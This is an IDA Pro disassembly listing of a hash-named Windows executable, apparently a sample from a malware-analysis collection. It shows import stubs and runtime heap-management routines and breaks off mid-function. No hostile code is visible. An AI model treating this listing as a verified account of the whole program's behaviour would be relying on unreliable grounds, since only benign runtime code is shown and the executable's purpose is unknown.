; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : AD8C469D628E3D5BF23F0216B7720A15 ; File Name : u:\work\ad8c469d628e3d5bf23f0216b7720a15_orig.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 10000 ; Section 1. (virtual address 00001000) ; Virtual size : 00004244 ( 16964.) ; Section size in file : 00004400 ( 17408.) ; Offset to raw data for section: 00000400 ; Flags 60000020: Text Executable Readable ; Alignment : default .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute CODE segment para public 'CODE' use32 assume cs:CODE ;org 11000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing ; [00000006 BYTES: COLLAPSED FUNCTION GetStdHandle. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION RaiseException. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION RtlUnwind. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION UnhandledExceptionFilter. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION WriteFile. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION CharNextA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION ExitProcess. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION MessageBoxA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION FreeLibrary. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetCommandLineA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetLocaleInfoA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetModuleFileNameA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetStartupInfoA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetThreadLocale. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION RegCloseKey. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION RegOpenKeyExA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION RegQueryValueExA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetCurrentThreadId. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetVersion. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= sub_11098 proc near ; CODE XREF: sub_138CC+71p var_1C = byte ptr -1Ch var_18 = word ptr -18h push ebx add esp, 0FFFFFFBCh mov ebx, 0Ah push esp ; lpStartupInfo call GetStartupInfoA ; GetStartupInfoA test [esp+48h+var_1C], 1 jz short loc_110B3 movzx ebx, [esp+48h+var_18] loc_110B3: ; CODE XREF: sub_11098+14j mov eax, ebx add esp, 44h pop ebx retn sub_11098 endp ; --------------------------------------------------------------------------- align 4 ; [00000006 BYTES: COLLAPSED FUNCTION LocalAlloc. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION LocalFree. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION VirtualAlloc. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION VirtualFree. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION InitializeCriticalSection. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION EnterCriticalSection. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION LeaveCriticalSection. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION DeleteCriticalSection. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= sub_110FC proc near ; CODE XREF: sub_11188+9p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 push ebx add esp, 0FFFFFFF4h mov ebx, offset dword_175D0 cmp dword ptr [ebx], 0 jnz short loc_11163 push 644h ; uBytes push 0 ; uFlags call LocalAlloc ; LocalAlloc mov [esp+10h+var_8], eax cmp [esp+10h+var_8], 0 jnz short loc_11128 xor eax, eax mov [esp+10h+var_10], eax jmp short loc_11178 ; --------------------------------------------------------------------------- loc_11128: ; CODE XREF: sub_110FC+23j mov eax, [esp+10h+var_8] mov edx, ds:dword_175CC mov [eax], edx mov eax, [esp+10h+var_8] mov ds:dword_175CC, eax xor eax, eax loc_1113F: ; CODE XREF: sub_110FC+65j mov edx, eax add edx, edx mov ecx, [esp+10h+var_8] lea edx, [ecx+edx*8+4] mov [esp+10h+var_C], edx mov edx, [esp+10h+var_C] mov ecx, [ebx] mov [edx], ecx mov edx, [esp+10h+var_C] mov [ebx], edx inc eax cmp eax, 64h jnz short loc_1113F loc_11163: ; CODE XREF: sub_110FC+Cj mov eax, [ebx] mov [esp+10h+var_C], eax mov eax, [esp+10h+var_C] mov eax, [eax] mov [ebx], eax mov eax, [esp+10h+var_C] mov [esp+10h+var_10], eax loc_11178: ; CODE XREF: sub_110FC+2Aj mov eax, [esp+10h+var_10] add esp, 0Ch pop ebx retn sub_110FC endp ; =============== S U B R O U T I N E ======================================= sub_11180 proc near ; CODE XREF: sub_11904+34p ; sub_11904+3Ep ... mov [eax], eax mov [eax+4], eax retn sub_11180 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_11188 proc near ; CODE XREF: sub_11218+71p ; sub_112A0+96p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch push ebx push esi add esp, 0FFFFFFF8h mov esi, edx mov ebx, eax call sub_110FC mov [esp+10h+var_C], eax cmp [esp+10h+var_C], 0 jnz short loc_111A5 xor eax, eax jmp short loc_111DF ; --------------------------------------------------------------------------- loc_111A5: ; CODE XREF: sub_11188+17j mov eax, [esi] mov edx, [esp+10h+var_C] mov [edx+8], eax mov eax, [esi+4] mov edx, [esp+10h+var_C] mov [edx+0Ch], eax mov eax, [ebx] mov [esp+10h+var_10], eax mov eax, [esp+10h+var_C] mov edx, [esp+10h+var_10] mov [eax], edx mov eax, [esp+10h+var_C] mov [eax+4], ebx mov eax, [esp+10h+var_10] mov edx, [esp+10h+var_C] mov [eax+4], edx mov eax, [esp+10h+var_C] mov [ebx], eax mov al, 1 loc_111DF: ; CODE XREF: sub_11188+1Bj pop ecx pop edx pop esi pop ebx retn sub_11188 endp ; =============== S U B R O U T I N E ======================================= sub_111E4 proc near ; CODE XREF: sub_11218+37p ; sub_11218+56p ... var_8 = dword ptr -8 var_4 = dword ptr -4 add esp, 0FFFFFFF8h mov edx, [eax+4] mov [esp+8+var_8], edx mov edx, [eax] mov [esp+8+var_4], edx mov edx, [esp+8+var_8] mov ecx, [esp+8+var_4] mov [edx], ecx mov edx, [esp+8+var_4] mov ecx, [esp+8+var_8] mov [edx+4], ecx mov edx, ds:dword_175D0 mov [eax], edx mov ds:dword_175D0, eax pop ecx pop edx retn sub_111E4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_11218 proc near ; CODE XREF: sub_11684+80p ; sub_1172C+78p ... var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF8h mov ebx, ecx mov esi, eax mov edi, esp mov eax, [esi] mov [edi], eax mov eax, [edx] mov [ebx], eax mov eax, [edx+4] mov [ebx+4], eax loc_11233: ; CODE XREF: sub_11218+6Bj mov eax, [edi] mov eax, [eax] mov [esp+18h+var_14], eax mov edx, [edi] mov edx, [edx+8] mov ecx, edx mov ebp, [edi] add ecx, [ebp+0Ch] mov eax, [ebx] cmp ecx, eax jnz short loc_11265 mov eax, [edi] call sub_111E4 mov eax, [edi] mov eax, [eax+8] mov [ebx], eax mov eax, [edi] mov eax, [eax+0Ch] add [ebx+4], eax jmp short loc_1127B ; --------------------------------------------------------------------------- loc_11265: ; CODE XREF: sub_11218+33j add eax, [ebx+4] cmp edx, eax jnz short loc_1127B mov eax, [edi] call sub_111E4 mov eax, [edi] mov eax, [eax+0Ch] add [ebx+4], eax loc_1127B: ; CODE XREF: sub_11218+4Bj ; sub_11218+52j mov eax, [esp+18h+var_14] mov [edi], eax cmp esi, [edi] jnz short loc_11233 mov edx, ebx mov eax, esi call sub_11188 test al, al jnz short loc_11296 xor eax, eax mov [ebx], eax loc_11296: ; CODE XREF: sub_11218+78j pop ecx pop edx pop ebp pop edi pop esi pop ebx retn sub_11218 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_112A0 proc near ; CODE XREF: sub_11870+82p ; sub_11CF4+ABp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF0h mov [esp+20h+var_20], eax mov esi, esp mov eax, [esi] mov [esp+20h+var_14], eax loc_112B2: ; CODE XREF: sub_112A0+B3j mov ecx, [edx] mov eax, [esi] mov eax, [eax+8] cmp ecx, eax jb loc_11347 mov ebx, eax mov edi, [esi] add ebx, [edi+0Ch] mov edi, ecx add edi, [edx+4] cmp ebx, edi jb short loc_11347 cmp ecx, eax jnz short loc_112F6 mov eax, [edx+4] mov ecx, [esi] add [ecx+8], eax mov eax, [edx+4] mov edx, [esi] sub [edx+0Ch], eax mov eax, [esi] cmp dword ptr [eax+0Ch], 0 jnz short loc_11343 mov eax, [esi] call sub_111E4 jmp short loc_11343 ; --------------------------------------------------------------------------- loc_112F6: ; CODE XREF: sub_112A0+33j mov ebx, eax mov edi, [esi] add ebx, [edi+0Ch] mov edi, ecx add edi, [edx+4] cmp ebx, edi jnz short loc_11310 mov eax, [edx+4] mov edx, [esi] sub [edx+0Ch], eax jmp short loc_11343 ; --------------------------------------------------------------------------- loc_11310: ; CODE XREF: sub_112A0+64j mov ebx, [edx] add ebx, [edx+4] mov [esp+20h+var_1C], ebx mov edi, [esi] mov edi, [edi+8] mov ebp, [esi] add edi, [ebp+0Ch] sub edi, ebx mov [esp+20h+var_18], edi sub ecx, eax mov eax, [esi] mov [eax+0Ch], ecx lea edx, [esp+20h+var_1C] mov eax, [esi] call sub_11188 test al, al jnz short loc_11343 xor eax, eax jmp short loc_1135B ; --------------------------------------------------------------------------- loc_11343: ; CODE XREF: sub_112A0+4Bj ; sub_112A0+54j ... mov al, 1 jmp short loc_1135B ; --------------------------------------------------------------------------- loc_11347: ; CODE XREF: sub_112A0+1Bj ; sub_112A0+2Fj mov eax, [esi] mov eax, [eax] mov [esi], eax mov eax, [esi] cmp eax, [esp+20h+var_14] jnz loc_112B2 xor eax, eax loc_1135B: ; CODE XREF: sub_112A0+A1j ; sub_112A0+A5j add esp, 10h pop ebp pop edi pop esi pop ebx retn sub_112A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_11364 proc near ; CODE XREF: sub_11684+6Ep push ebx push esi push edi mov ebx, edx mov esi, eax cmp esi, 100000h jge short loc_1137A mov esi, 100000h jmp short loc_11386 ; --------------------------------------------------------------------------- loc_1137A: ; CODE XREF: sub_11364+Dj add esi, 0FFFFh and esi, 0FFFF0000h loc_11386: ; CODE XREF: sub_11364+14j mov [ebx+4], esi push 1 ; flProtect push 2000h ; flAllocationType push esi ; dwSize push 0 ; lpAddress call VirtualAlloc ; VirtualAlloc mov edi, eax mov [ebx], edi test edi, edi jz short loc_113C3 mov edx, ebx mov eax, offset dword_175D4 call sub_11188 test al, al jnz short loc_113C3 push 8000h ; dwFreeType push 0 ; dwSize mov eax, [ebx] push eax ; lpAddress call VirtualFree ; VirtualFree xor eax, eax mov [ebx], eax loc_113C3: ; CODE XREF: sub_11364+3Aj ; sub_11364+4Aj pop edi pop esi pop ebx retn sub_11364 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_113C8 proc near ; CODE XREF: sub_1172C+62p ; sub_1172C+A9p push ebx push esi push edi push ebp mov ebx, ecx mov esi, edx mov ebp, eax mov dword ptr [ebx+4], 100000h push 4 ; flProtect push 2000h ; flAllocationType push 100000h ; dwSize push ebp ; lpAddress call VirtualAlloc ; VirtualAlloc mov edi, eax mov [ebx], edi test edi, edi jnz short loc_11412 add esi, 0FFFFh and esi, 0FFFF0000h mov [ebx+4], esi push 4 ; flProtect push 2000h ; flAllocationType push esi ; dwSize push ebp ; lpAddress call VirtualAlloc ; VirtualAlloc mov [ebx], eax loc_11412: ; CODE XREF: sub_113C8+29j cmp dword ptr [ebx], 0 jz short loc_1143A mov edx, ebx mov eax, offset dword_175D4 call sub_11188 test al, al jnz short loc_1143A push 8000h ; dwFreeType push 0 ; dwSize mov eax, [ebx] push eax ; lpAddress call VirtualFree ; VirtualFree xor eax, eax mov [ebx], eax loc_1143A: ; CODE XREF: sub_113C8+4Dj ; sub_113C8+5Dj pop ebp pop edi pop esi pop ebx retn sub_113C8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_11440 proc near ; CODE XREF: sub_11684+95p ; sub_1172C+90p ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFE8h mov edi, ecx mov esi, esp mov [esp+28h+var_20], 0FFFFFFFFh xor ecx, ecx mov [esp+28h+var_1C], ecx mov [esp+28h+var_18], eax add edx, [esp+28h+var_18] mov [esp+28h+var_14], edx mov eax, ds:dword_175D4 mov [esi], eax jmp short loc_114D9 ; --------------------------------------------------------------------------- loc_1146E: ; CODE XREF: sub_11440+A0j mov eax, [esi] mov eax, [eax] mov [esp+28h+var_24], eax mov eax, [esi] mov ebx, [eax+8] cmp ebx, [esp+28h+var_18] jb short loc_114D3 mov eax, ebx mov edx, [esi] add eax, [edx+0Ch] cmp eax, [esp+28h+var_14] ja short loc_114D3 cmp ebx, [esp+28h+var_20] jnb short loc_11498 mov [esp+28h+var_20], ebx loc_11498: ; CODE XREF: sub_11440+52j mov eax, [esi] mov ebp, [eax+8] mov eax, [esi] add ebp, [eax+0Ch] cmp ebp, [esp+28h+var_1C] jbe short loc_114AC mov [esp+28h+var_1C], ebp loc_114AC: ; CODE XREF: sub_11440+66j push 8000h ; dwFreeType push 0 ; dwSize mov eax, [esi] mov eax, [eax+8] push eax ; lpAddress call VirtualFree ; VirtualFree test eax, eax jnz short loc_114CC mov ds:dword_175B0, 1 loc_114CC: ; CODE XREF: sub_11440+80j mov eax, [esi] call sub_111E4 loc_114D3: ; CODE XREF: sub_11440+3Fj ; sub_11440+4Cj mov eax, [esp+28h+var_24] mov [esi], eax loc_114D9: ; CODE XREF: sub_11440+2Cj mov eax, offset dword_175D4 cmp eax, [esi] jnz short loc_1146E xor eax, eax mov [edi], eax cmp [esp+28h+var_1C], 0 jz short loc_114FE mov eax, [esp+28h+var_20] mov [edi], eax mov eax, [esp+28h+var_1C] sub eax, [esp+28h+var_20] mov [edi+4], eax loc_114FE: ; CODE XREF: sub_11440+ABj add esp, 18h pop ebp pop edi pop esi pop ebx retn sub_11440 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=18h sub_11508 proc near ; CODE XREF: sub_11684+35p ; sub_1172C+100p var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = byte ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_18 = dword ptr -18h push ebx push esi push edi push ebp add esp, 0FFFFFFE8h mov ebx, ecx mov [esp+24h+var_3C], edx lea esi, [esp+24h+var_34] lea edi, [esp+24h+var_38] lea ebp, [esp+0Ch] mov edx, eax mov ecx, edx and ecx, 0FFFFF000h mov [esp+24h+var_2C], ecx add edx, [esp+24h+var_3C] add edx, 0FFFh and edx, 0FFFFF000h mov [esp+24h+var_28], edx mov eax, [esp+24h+var_2C] mov [ebx], eax mov eax, [esp+24h+var_28] sub eax, [esp+24h+var_2C] mov [ebx+4], eax mov eax, ds:dword_175D4 mov [edi], eax jmp short loc_115B6 ; --------------------------------------------------------------------------- loc_1155B: ; CODE XREF: sub_11508+B5j mov eax, [edi] mov eax, [eax+8] mov [esi], eax mov eax, [edi] mov eax, [eax+0Ch] add eax, [esi] mov [ebp+18h+var_18], eax mov eax, [esi] cmp eax, [esp+24h+var_2C] jnb short loc_1157A mov eax, [esp+24h+var_2C] mov [esi], eax loc_1157A: ; CODE XREF: sub_11508+6Aj mov eax, [ebp+18h+var_18] cmp eax, [esp+24h+var_28] jbe short loc_1158A mov eax, [esp+24h+var_28] mov [ebp+18h+var_18], eax loc_1158A: ; CODE XREF: sub_11508+79j mov eax, [esi] cmp eax, [ebp+18h+var_18] jnb short loc_115B0 push 4 ; flProtect push 1000h ; flAllocationType mov eax, [ebp+18h+var_18] sub eax, [esi] push eax ; dwSize mov eax, [esi] push eax ; lpAddress call VirtualAlloc ; VirtualAlloc test eax, eax jnz short loc_115B0 xor eax, eax mov [ebx], eax jmp short loc_115BF ; --------------------------------------------------------------------------- loc_115B0: ; CODE XREF: sub_11508+87j ; sub_11508+A0j mov eax, [edi] mov eax, [eax] mov [edi], eax loc_115B6: ; CODE XREF: sub_11508+51j mov eax, offset dword_175D4 cmp eax, [edi] jnz short loc_1155B loc_115BF: ; CODE XREF: sub_11508+A6j add esp, 18h pop ebp pop edi pop esi pop ebx retn sub_11508 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_115C8 proc near ; CODE XREF: sub_11870+36p var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFE8h mov [esp+28h+var_28], edx lea esi, [esp+28h+var_20] lea edi, [esp+28h+var_24] lea ebx, [esp+28h+var_1C] mov edx, eax mov ebp, edx add ebp, 0FFFh and ebp, 0FFFFF000h mov [esp+28h+var_18], ebp add edx, [esp+28h+var_28] and edx, 0FFFFF000h mov [esp+28h+var_14], edx mov eax, [esp+28h+var_18] mov [ecx], eax mov eax, [esp+28h+var_14] sub eax, [esp+28h+var_18] mov [ecx+4], eax mov eax, ds:dword_175D4 mov [edi], eax jmp short loc_11671 ; --------------------------------------------------------------------------- loc_11619: ; CODE XREF: sub_115C8+B0j mov eax, [edi] mov eax, [eax+8] mov [esi], eax mov eax, [edi] mov eax, [eax+0Ch] add eax, [esi] mov [ebx], eax mov eax, [esi] cmp eax, [esp+28h+var_18] jnb short loc_11637 mov eax, [esp+28h+var_18] mov [esi], eax loc_11637: ; CODE XREF: sub_115C8+67j mov eax, [ebx] cmp eax, [esp+28h+var_14] jbe short loc_11645 mov eax, [esp+28h+var_14] mov [ebx], eax loc_11645: ; CODE XREF: sub_115C8+75j mov eax, [esi] cmp eax, [ebx] jnb short loc_1166B push 4000h ; dwFreeType mov eax, [ebx] sub eax, [esi] push eax ; dwSize mov eax, [esi] push eax ; lpAddress call VirtualFree ; VirtualFree test eax, eax jnz short loc_1166B mov ds:dword_175B0, 2 loc_1166B: ; CODE XREF: sub_115C8+81j ; sub_115C8+97j mov eax, [edi] mov eax, [eax] mov [edi], eax loc_11671: ; CODE XREF: sub_115C8+4Fj mov eax, offset dword_175D4 cmp eax, [edi] jnz short loc_11619 add esp, 18h pop ebp pop edi pop esi pop ebx retn sub_115C8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_11684 proc near ; CODE XREF: sub_11F80+Bp var_18 = dword ptr -18h push ebx push esi push edi push ebp add esp, 0FFFFFFF4h mov ebx, edx mov esi, eax mov edi, esp mov ebp, offset dword_175E4 add esi, 3FFFh and esi, 0FFFFC000h loc_116A2: ; CODE XREF: sub_11684+8Aj mov eax, [ebp+0] mov [edi], eax jmp short loc_116EA ; --------------------------------------------------------------------------- loc_116A9: ; CODE XREF: sub_11684+68j mov eax, [edi] cmp esi, [eax+0Ch] jg short loc_116E4 mov ecx, ebx mov eax, [edi] mov eax, [eax+8] mov edx, esi call sub_11508 cmp dword ptr [ebx], 0 jz short loc_11722 mov eax, [ebx+4] mov edx, [edi] add [edx+8], eax mov eax, [ebx+4] mov edx, [edi] sub [edx+0Ch], eax mov eax, [edi] cmp dword ptr [eax+0Ch], 0 jnz short loc_11722 mov eax, [edi] call sub_111E4 jmp short loc_11722 ; --------------------------------------------------------------------------- loc_116E4: ; CODE XREF: sub_11684+2Aj mov eax, [edi] mov eax, [eax] mov [edi], eax loc_116EA: ; CODE XREF: sub_11684+23j cmp ebp, [edi] jnz short loc_116A9 mov edx, ebx mov eax, esi call sub_11364 cmp dword ptr [ebx], 0 jz short loc_11722 lea ecx, [esp+1Ch+var_18] mov edx, ebx mov eax, ebp call sub_11218 cmp [esp+1Ch+var_18], 0 jnz short loc_116A2 lea ecx, [esp+1Ch+var_18] mov edx, [ebx+4] mov eax, [ebx] call sub_11440 xor eax, eax mov [ebx], eax loc_11722: ; CODE XREF: sub_11684+3Dj ; sub_11684+55j ... add esp, 0Ch pop ebp pop edi pop esi pop ebx retn sub_11684 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_1172C proc near ; CODE XREF: sub_11FAC+10p var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h push ebx push esi push edi push ebp add esp, 0FFFFFFE8h mov [esp+28h+var_28], ecx mov edi, edx mov ebx, eax lea esi, [esp+28h+var_24] mov ebp, offset dword_175E4 add edi, 3FFFh and edi, 0FFFFC000h loc_1174F: ; CODE XREF: sub_1172C+82j ; sub_1172C+C9j mov eax, [ebp+0] mov [esi], eax jmp short loc_1175C ; --------------------------------------------------------------------------- loc_11756: ; CODE XREF: sub_1172C+39j mov eax, [esi] mov eax, [eax] mov [esi], eax loc_1175C: ; CODE XREF: sub_1172C+28j cmp ebp, [esi] jz short loc_11767 mov eax, [esi] cmp ebx, [eax+8] jnz short loc_11756 loc_11767: ; CODE XREF: sub_1172C+32j mov eax, [esi] cmp ebx, [eax+8] jnz short loc_117CD mov eax, [esi] cmp edi, [eax+0Ch] jle loc_11815 mov eax, [esi] mov edx, edi sub edx, [eax+0Ch] mov eax, [esi] mov eax, [eax+8] mov ecx, [esi] add eax, [ecx+0Ch] lea ecx, [esp+28h+var_20] call sub_113C8 cmp [esp+28h+var_20], 0 jz short loc_117CD lea ecx, [esp+28h+var_18] lea edx, [esp+28h+var_20] mov eax, ebp call sub_11218 cmp [esp+28h+var_18], 0 jnz short loc_1174F lea ecx, [esp+28h+var_18] mov edx, [esp+28h+var_1C] mov eax, [esp+28h+var_20] call sub_11440 mov eax, [esp+28h+var_28] xor edx, edx mov [eax], edx jmp loc_11867 ; --------------------------------------------------------------------------- loc_117CD: ; CODE XREF: sub_1172C+40j ; sub_1172C+6Cj lea ecx, [esp+28h+var_20] mov edx, edi mov eax, ebx call sub_113C8 cmp [esp+28h+var_20], 0 jz short loc_11815 lea ecx, [esp+28h+var_18] lea edx, [esp+28h+var_20] mov eax, ebp call sub_11218 cmp [esp+28h+var_18], 0 jnz loc_1174F lea ecx, [esp+28h+var_18] mov edx, [esp+28h+var_1C] mov eax, [esp+28h+var_20] call sub_11440 mov eax, [esp+28h+var_28] xor edx, edx mov [eax], edx jmp short loc_11867 ; --------------------------------------------------------------------------- loc_11815: ; CODE XREF: sub_1172C+47j ; sub_1172C+B3j mov eax, [esi] mov ebp, [eax+8] cmp ebx, ebp jnz short loc_11860 mov eax, [esi] cmp edi, [eax+0Ch] jg short loc_11860 mov ecx, [esp+28h+var_28] mov eax, ebp mov edx, edi call sub_11508 mov eax, [esp+28h+var_28] cmp dword ptr [eax], 0 jz short loc_11867 mov eax, [esp+28h+var_28] mov eax, [eax+4] mov edx, [esi] add [edx+8], eax mov eax, [esp+28h+var_28] mov eax, [eax+4] mov edx, [esi] sub [edx+0Ch], eax mov eax, [esi] cmp dword ptr [eax+0Ch], 0 jnz short loc_11867 mov eax, [esi] call sub_111E4 jmp short loc_11867 ; --------------------------------------------------------------------------- loc_11860: ; CODE XREF: sub_1172C+F0j ; sub_1172C+F7j mov eax, [esp+28h+var_28] xor edx, edx mov [eax], edx loc_11867: ; CODE XREF: sub_1172C+9Cj ; sub_1172C+E7j ... add esp, 18h pop ebp pop edi pop esi pop ebx retn sub_1172C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_11870 proc near ; CODE XREF: sub_11CF4+5Bp ; sub_11CF4+6Cp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 push ebx add esp, 0FFFFFFE8h mov ebx, ecx lea ecx, [eax+3FFFh] and ecx, 0FFFFC000h mov [esp+1Ch+var_1C], ecx add edx, eax and edx, 0FFFFC000h mov [esp+1Ch+var_18], edx mov eax, [esp+1Ch+var_18] cmp eax, [esp+1Ch+var_1C] jbe short loc_118F9 mov ecx, ebx mov edx, [esp+1Ch+var_18] sub edx, [esp+1Ch+var_1C] mov eax, [esp+1Ch+var_1C] call sub_115C8 lea ecx, [esp+1Ch+var_14] mov edx, ebx mov eax, offset dword_175E4 call sub_11218 mov ebx, [esp+1Ch+var_14] test ebx, ebx jz short loc_118E2 lea ecx, [esp+1Ch+var_C] mov edx, [esp+1Ch+var_10] mov eax, ebx call sub_11440 mov eax, [esp+1Ch+var_C] mov [esp+1Ch+var_14], eax mov eax, [esp+1Ch+var_8] mov [esp+1Ch+var_10], eax loc_118E2: ; CODE XREF: sub_11870+51j cmp [esp+1Ch+var_14], 0 jz short loc_118FD lea edx, [esp+1Ch+var_14] mov eax, offset dword_175E4 call sub_112A0 jmp short loc_118FD ; --------------------------------------------------------------------------- loc_118F9: ; CODE XREF: sub_11870+28j xor eax, eax mov [ebx], eax loc_118FD: ; CODE XREF: sub_11870+77j ; sub_11870+87j add esp, 18h pop ebx retn sub_11870 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_11904 proc near ; CODE XREF: sub_12160+12p ; sub_1230C+19p ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00012F4C SIZE 00000036 BYTES push ebp mov ebp, esp push ecx xor edx, edx push ebp push offset loc_119CC push dword ptr fs:[edx] mov fs:[edx], esp push offset CriticalSection ; lpCriticalSection call InitializeCriticalSection ; InitializeCriticalSection cmp ds:byte_17035, 0 jz short loc_11933 push offset CriticalSection ; lpCriticalSection call EnterCriticalSection loc_11933: ; CODE XREF: sub_11904+23j mov eax, offset dword_175D4 call sub_11180 mov eax, offset dword_175E4 call sub_11180 mov eax, offset dword_17610 call sub_11180 push 0FF8h ; uBytes push 0 ; uFlags call LocalAlloc ; LocalAlloc mov ds:hMem, eax cmp ds:hMem, 0 jz short loc_119AB mov eax, 3 loc_11970: ; CODE XREF: sub_11904+7Ej mov edx, ds:hMem xor ecx, ecx mov [edx+eax*4-0Ch], ecx inc eax cmp eax, 401h jnz short loc_11970 mov [ebp+var_4], offset dword_175F4 mov eax, [ebp+var_4] mov edx, [ebp+var_4] mov [eax+4], edx mov eax, [ebp+var_4] mov edx, [ebp+var_4] mov [eax], edx mov eax, [ebp+var_4] mov ds:dword_17600, eax mov ds:byte_175AC, 1 loc_119AB: ; CODE XREF: sub_11904+65j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_119D3 loc_119B8: ; CODE XREF: sub_11904+CDj cmp ds:byte_17035, 0 jz short loc_119CB push offset CriticalSection ; lpCriticalSection call LeaveCriticalSection loc_119CB: ; CODE XREF: sub_11904+BBj retn ; --------------------------------------------------------------------------- loc_119CC: ; DATA XREF: sub_11904+7o jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_119B8 ; --------------------------------------------------------------------------- loc_119D3: ; CODE XREF: sub_11904:loc_119CBj ; DATA XREF: sub_11904+AFo mov al, ds:byte_175AC pop ecx pop ebp retn sub_11904 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_119DC proc near ; CODE XREF: sub_13878+37p var_8 = dword ptr -8 hMem = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h cmp ds:byte_175AC, 0 jz loc_11AD7 xor eax, eax push ebp push offset loc_11AD0 push dword ptr fs:[eax] mov fs:[eax], esp cmp ds:byte_17035, 0 jz short loc_11A10 push offset CriticalSection ; lpCriticalSection call EnterCriticalSection 